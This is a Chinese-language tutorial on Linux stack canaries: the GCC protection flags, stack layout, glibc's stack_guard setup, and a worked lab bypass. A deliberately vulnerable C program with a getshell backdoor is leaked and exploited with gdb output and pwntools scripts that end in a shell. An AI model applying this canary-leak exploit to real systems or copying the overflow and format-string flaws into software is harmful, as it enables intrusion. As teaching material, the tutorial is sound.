1:介绍
我们知道,通常栈溢出的利用方式是通过溢出存在于栈上的局部变量,从而让多出来的数据覆盖 ebp、eip 等,从而达到劫持控制流的目的。栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让 shellcode 能够得到执行。当启用栈保护后,函数开始执行的时候会先往栈底插入 cookie 信息,当函数真正返回的时候会验证 cookie 信息是否合法 (栈帧销毁前测试该值是否被改变),如果不合法就停止程序运行 (栈溢出发生)。攻击者在覆盖返回地址的时候往往也会将 cookie 信息给覆盖掉,导致栈保护检查失败而阻止 shellcode 的执行,避免漏洞利用成功。在 Linux 中我们将 cookie 信息称为 Canary。
Canary 不管是实现还是设计思想都比较简单高效,就是插入一个值在 stack overflow 发生的高危区域的尾部。当函数返回之时检测 Canary 的值是否经过了改变,以此来判断 stack/buffer overflow 是否发生。
Canary 与 Windows 下的 GS 保护都是缓解栈溢出攻击的有效手段,它的出现很大程度上增加了栈溢出攻击的难度,并且由于它几乎并不消耗系统资源,所以现在成了 Linux 下保护机制的标配。
2:Canary 原理
在 GCC 中使用 Canary
可以在 GCC 中使用以下参数设置 Canary:
-fstack-protector 启用保护,不过只为局部变量中含有数组的函数插入保护
-fstack-protector-all 启用保护,为所有函数插入保护
-fstack-protector-strong
-fstack-protector-explicit 只对有明确 stack_protect attribute 的函数开启保护
-fno-stack-protector 禁用保护
开启 Canary 保护的 stack 结构大概如下:
High
Address | |
+-----------------+
| args |
+-----------------+
| return address |
+-----------------+
rbp => | old ebp |
+-----------------+
rbp-8 => | canary value |
+-----------------+
| local variables |
Low | |
Address
汇编指令一般如下:
mov eax, large gs:14h #将一个cookie放在eax
mov [ebp+var_C], eax #再由eax放入[ebp+var_C](栈中靠后的位置)
·····
·····
mov eax, [ebp+var_C] #将其赋值到eax
xor eax, large gs:14h #将其与原cookie比较 #影响zf标志寄存器
jz short loc_8048692 #如果计算结果不为0就跳转(上面的异或操作)
如果栈中的cookie被更改了就会jz跳到call __stack_chk_fail_local。其也是位于 glibc 中的函数,默认情况下经过 ELF 的延迟绑定,定义如下:
eglibc-2.19/debug/stack_chk_fail.c
void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
__fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminated\n",
msg, __libc_argv[0] ?: "<unknown>");
}
希望我以后能懂这个定义(doge)
对于 Linux 来说,gs 寄存器实际指向的是当前栈的 TLS 结构,gs:14h 指向的正是 stack_guard。
typedef struct
{
void *tcb; /* Pointer to the TCB. Not necessarily the
thread descriptor used by libpthread. */
dtv_t *dtv;
void *self; /* Pointer to the thread descriptor. */
int multiple_threads;
uintptr_t sysinfo;
uintptr_t stack_guard;
...
} tcbhead_t;
如果存在溢出可以覆盖位于 TLS 中保存的 Canary 值那么就可以实现绕过保护机制。
事实上,TLS 中的值由函数 security_init 进行初始化。
static void
security_init (void)
{
// _dl_random的值在进入这个函数的时候就已经由kernel写入.
// glibc直接使用了_dl_random的值并没有给赋值
// 如果不采用这种模式, glibc也可以自己产生随机数
//将_dl_random的最后一个字节设置为0x0
uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (_dl_random);
// 设置Canary的值到TLS中
THREAD_SET_STACK_GUARD (stack_chk_guard);
_dl_random = NULL;
}
//THREAD_SET_STACK_GUARD宏用于设置TLS
#define THREAD_SET_STACK_GUARD(value) \
THREAD_SETMEM (THREAD_SELF, header.stack_guard, value)
抓重点:每次开启程序cookie的值随机的
3:Canary 绕过技术
注意:Canary 是一种十分有效的解决栈溢出问题的漏洞缓解措施。但是并不意味着 Canary 就能够阻止所有的栈溢出利用,在这里给出了常见的存在 Canary 的栈溢出利用思路,请注意每种方法都有特定的环境要求。
泄露栈中的 Canary
Canary 设计为以字节 \x00 结尾,本意是为了保证 Canary 可以截断字符串(因为它会贴着buf)。 泄露栈中的 Canary 的思路是覆盖 Canary 的低字节(\x00,然后就不会被截断),来打印出剩余的 Canary 部分(前提是得有打印函数)。 这种利用方式需要存在合适的输出函数,并且可能需要第一次溢出泄露 Canary,之后再次溢出控制执行流程。
例子:
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void getshell(void) {
system("/bin/sh");
}
void init() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
void vuln() {
char buf[100];
for(int i=0;i<2;i++){
read(0, buf, 0x200);
printf(buf);
}
}
int main(void) {
init();
puts("Hello Hacker!");
vuln();
return 0;
}
编译为 32bit 程序并关闭 PIE 保护 (默认开启 NX,ASLR,Canary 保护)
$ gcc -m32 -no-pie test.c -o test
先读程序:输出Hello Hacker!后进入vuln函数,其buf大小为100而可以读入0x200个字符显然存在溢出,还有格式化字符串漏洞。后门getshell。
因为插入了cookie,所以我们要想办法得到cookie,找到它在栈中的正确位置构造payload绕过canary
寻找cookie
因为cookie插入时汇编代码特征明显,我们多留意其汇编相关的寄存器值即可
因为程序默认开启-fstack-protector保护,所以只为局部变量中含有数组的函数插入保护,那我们直接进入vuln函数:
Dump of assembler code for function vuln:
=> 0x0804862b <+0>: push ebp
0x0804862c <+1>: mov ebp,esp
0x0804862e <+3>: push ebx
0x0804862f <+4>: sub esp,0x74
0x08048632 <+7>: call 0x80484e0 <__x86.get_pc_thunk.bx>
0x08048637 <+12>: add ebx,0x19c9
0x0804863d <+18>: mov eax,gs:0x14 #插入cookie
0x08048643 <+24>: mov DWORD PTR [ebp-0xc],eax
0x08048646 <+27>: xor eax,eax
0x08048648 <+29>: mov DWORD PTR [ebp-0x74],0x0
0x0804864f <+36>: jmp 0x804867a <vuln+79>
0x08048651 <+38>: sub esp,0x4
0x08048654 <+41>: push 0x200
0x08048659 <+46>: lea eax,[ebp-0x70]
0x0804865c <+49>: push eax
0x0804865d <+50>: push 0x0
0x0804865f <+52>: call 0x8048420 <read@plt>
0x08048664 <+57>: add esp,0x10
0x08048667 <+60>: sub esp,0xc
0x0804866a <+63>: lea eax,[ebp-0x70]
0x0804866d <+66>: push eax
0x0804866e <+67>: call 0x8048430 <printf@plt>
0x08048673 <+72>: add esp,0x10
0x08048676 <+75>: add DWORD PTR [ebp-0x74],0x1
0x0804867a <+79>: cmp DWORD PTR [ebp-0x74],0x1
0x0804867e <+83>: jle 0x8048651 <vuln+38>
0x08048680 <+85>: nop
0x08048681 <+86>: mov eax,DWORD PTR [ebp-0xc] #校验cookie
0x08048684 <+89>: xor eax,DWORD PTR gs:0x14
0x0804868b <+96>: je 0x8048692 <vuln+103>
0x0804868d <+98>: call 0x8048750 <__stack_chk_fail_local>
0x08048692 <+103>: mov ebx,DWORD PTR [ebp-0x4]
0x08048695 <+106>: leave
0x08048696 <+107>: ret
End of assembler dump.
gdb-peda$
我们让程序执行到6:0x08048643 <+24>: mov DWORD PTR [ebp-0xc],eax就可以从eax看到cookie的值
EAX: 0x25710300
EBX: 0x804a000 --> 0x8049f08 --> 0x1
ECX: 0xf7fb2dc7 --> 0xfb38900a
EDX: 0xf7fb3890 --> 0x0
ESI: 0xf7fb2000 --> 0x1d4d6c
EDI: 0x0
EBP: 0xffffd008 --> 0xffffd018 --> 0x0
ESP: 0xffffcf90 --> 0xf7fb2d80 --> 0xfbad2887
EIP: 0x8048643 (<vuln+24>: mov DWORD PTR [ebp-0xc],eax)
EFLAGS: 0x216 (carry PARITY ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8048632 <vuln+7>: call 0x80484e0 <__x86.get_pc_thunk.bx>
0x8048637 <vuln+12>: add ebx,0x19c9
0x804863d <vuln+18>: mov eax,gs:0x14
=> 0x8048643 <vuln+24>: mov DWORD PTR [ebp-0xc],eax
0x8048646 <vuln+27>: xor eax,eax
0x8048648 <vuln+29>: mov DWORD PTR [ebp-0x74],0x0
0x804864f <vuln+36>: jmp 0x804867a <vuln+79>
0x8048651 <vuln+38>: sub esp,0x4
[------------------------------------stack-------------------------------------]
0000| 0xffffcf90 --> 0xf7fb2d80 --> 0xfbad2887
0004| 0xffffcf94 --> 0xf7fb2dc7 --> 0xfb38900a
0008| 0xffffcf98 --> 0x1
0012| 0xffffcf9c --> 0x1
0016| 0xffffcfa0 --> 0x1
0020| 0xffffcfa4 --> 0x0
0024| 0xffffcfa8 --> 0xf7e4fab9 (<_IO_file_overflow+9>: add edx,0x162547)
0028| 0xffffcfac --> 0xf7fb0860 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 3, 0x08048643 in vuln ()
gdb-peda$
发现EAX: 0x25710300 cookie,继续到read函数我们使其读入很多字符(200个)让其执行到要进行比较的时候
EAX: 0x41684141 ('AAhA')
EBX: 0x804a000 --> 0x8049f08 --> 0x1
ECX: 0xde
EDX: 0xf7fb3890 --> 0x0
ESI: 0xf7fb2000 --> 0x1d4d6c
EDI: 0x0
EBP: 0xffffd008 ("AA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n")
ESP: 0xffffcf90 --> 0xf7fb2d80 --> 0xfbad2887
EIP: 0x8048684 (<vuln+89>: xor eax,DWORD PTR gs:0x14)
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x804867e <vuln+83>: jle 0x8048651 <vuln+38>
0x8048680 <vuln+85>: nop
0x8048681 <vuln+86>: mov eax,DWORD PTR [ebp-0xc]
=> 0x8048684 <vuln+89>: xor eax,DWORD PTR gs:0x14
0x804868b <vuln+96>: je 0x8048692 <vuln+103>
0x804868d <vuln+98>: call 0x8048750 <__stack_chk_fail_local>
0x8048692 <vuln+103>: mov ebx,DWORD PTR [ebp-0x4]
0x8048695 <vuln+106>: leave
[------------------------------------stack-------------------------------------]
0000| 0xffffcf90 --> 0xf7fb2d80 --> 0xfbad2887
0004| 0xffffcf94 --> 0x2
0008| 0xffffcf98 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA"...)
0012| 0xffffcf9c ("AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n")
0016| 0xffffcfa0 ("ABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n")
0020| 0xffffcfa4 ("$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n")
0024| 0xffffcfa8 ("AACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n")
0028| 0xffffcfac ("A-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08048684 in vuln ()
gdb-peda$
[ebp-0xc] == eax ,判断是否等于原cookie:DWORD PTR gs:0x14,我们发现要进行比较时eax的值被覆盖为AAhA,那查一下offset就知道cookie在栈中的位置了
gdb-peda$ pattern offset AAhA
AAhA found at offset: 100
gdb-peda$
100刚好是buf大小。
泄露
我们把payload设为 ‘A’*100直接发过去看看会发生什么(开启context.log_level):
[+] Starting local process './test': pid 6732
[DEBUG] Received 0xe bytes:
'Hello Hacker!\n'
[DEBUG] Sent 0x65 bytes:
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n'
[DEBUG] Received 0x6c bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
00000060 41 41 41 41 0a ca d5 b5 88 87 04 08 │AAAA│····│····│
0000006c ##注意小端序问题
我们可以看到AAA后面是0a,注意这是\n的ASCII码值,因为我们按下了空格\n。但后面跟着ca d5 b5,由上面的位置计算可知这是cookie的值,因为前面的\x00被\n覆盖所以无法阶段字符串将后面的什么鬼东西都输出来了,包括cookie的残余值。那我们就可以得到cookie了,只要减一个0xa即可。
尝试:
from pwn import*
context.log_level = 'debug'
elf = ELF('test')
getshell = elf.symbols['getshell']
sh = process('./test')
sh.recv()
payload1 = 'A'*100
sh.sendline(payload1)
sh.recv(100)
canary = u32(sh.recv(4)) - 0xa
print "canary =>" + hex(canary)
结果:
[DEBUG] Received 0x6c bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
00000060 41 41 41 41 0a f7 a3 0b 88 87 04 08 │AAAA│····│····│
0000006c
canary =>0xba3f700
那接下来我们测出溢出点就可以了,我们可以插入gdb.attach(sh)在调试中测试:
测试
from pwn import*
context.log_level = 'debug'
elf = ELF('test')
getshell = elf.symbols['getshell']
sh = process('./test')
sh.recv()
payload1 = 'A'*100
sh.sendline(payload1)
sh.recv(100)
canary = u32(sh.recv(4)) - 0xa
print "canary =>" + hex(canary)
payload2 = 'A'*100 + p32(canary) + 'A'*100+p32(getshell) #p32(canary)绕过后我用100个A来查找
gdb.attach(sh)
sh.sendline(payload2)
sh.recv()
sh.interactive()
结果:
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x41414141 ('AAAA')
ECX: 0x64 ('d')
EDX: 0xf7f5a890 --> 0x0
ESI: 0xf7f59000 --> 0x1d4d6c
EDI: 0x0
EBP: 0x41414141 ('AAAA')
ESP: 0xffb278dc ('A' <repeats 88 times>, "\246\205\004\b\nA5\f")
EIP: 0x8048696 (<vuln+107>: ret)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x804868d <vuln+98>: call 0x8048750 <__stack_chk_fail_local>
0x8048692 <vuln+103>: mov ebx,DWORD PTR [ebp-0x4]
0x8048695 <vuln+106>: leave
=> 0x8048696 <vuln+107>: ret
0x8048697 <main>: lea ecx,[esp+0x4]
0x804869b <main+4>: and esp,0xfffffff0
0x804869e <main+7>: push DWORD PTR [ecx-0x4]
0x80486a1 <main+10>: push ebp
[------------------------------------stack-------------------------------------]
0000| 0xffb278dc ('A' <repeats 88 times>, "\246\205\004\b\nA5\f")
0004| 0xffb278e0 ('A' <repeats 84 times>, "\246\205\004\b\nA5\f")
0008| 0xffb278e4 ('A' <repeats 80 times>, "\246\205\004\b\nA5\f")
0012| 0xffb278e8 ('A' <repeats 76 times>, "\246\205\004\b\nA5\f")
0016| 0xffb278ec ('A' <repeats 72 times>, "\246\205\004\b\nA5\f")
0020| 0xffb278f0 ('A' <repeats 68 times>, "\246\205\004\b\nA5\f")
0024| 0xffb278f4 ('A' <repeats 64 times>, "\246\205\004\b\nA5\f")
0028| 0xffb278f8 ('A' <repeats 60 times>, "\246\205\004\b\nA5\f")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08048696 in vuln ()
gdb-peda$
可以看到确实绕过了canary而且在ESP提示:后面又88个A,所以多了88个。因此只要12个即可。
EXP
from pwn import*
context.log_level = 'debug'
elf = ELF('test')
getshell = elf.symbols['getshell']
sh = process('./test')
sh.recv()
payload1 = 'A'*100
sh.sendline(payload1)
sh.recv(100)
canary = u32(sh.recv(4)) - 0xa ##不要忘了cookie是随机的
print "canary =>" + hex(canary)
payload2 = 'A'*100 + p32(canary) + 'A'*12+p32(getshell)
#gdb.attach(sh)
sh.sendline(payload2)
sh.recv()
sh.interactive()
[*] Switching to interactive mode
[DEBUG] Received 0x64 bytes:
'A' * 0x64
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA$ whoami
[DEBUG] Sent 0x7 bytes:
'whoami\n'
[DEBUG] Received 0x7 bytes:
'hunter\n'
hunter
$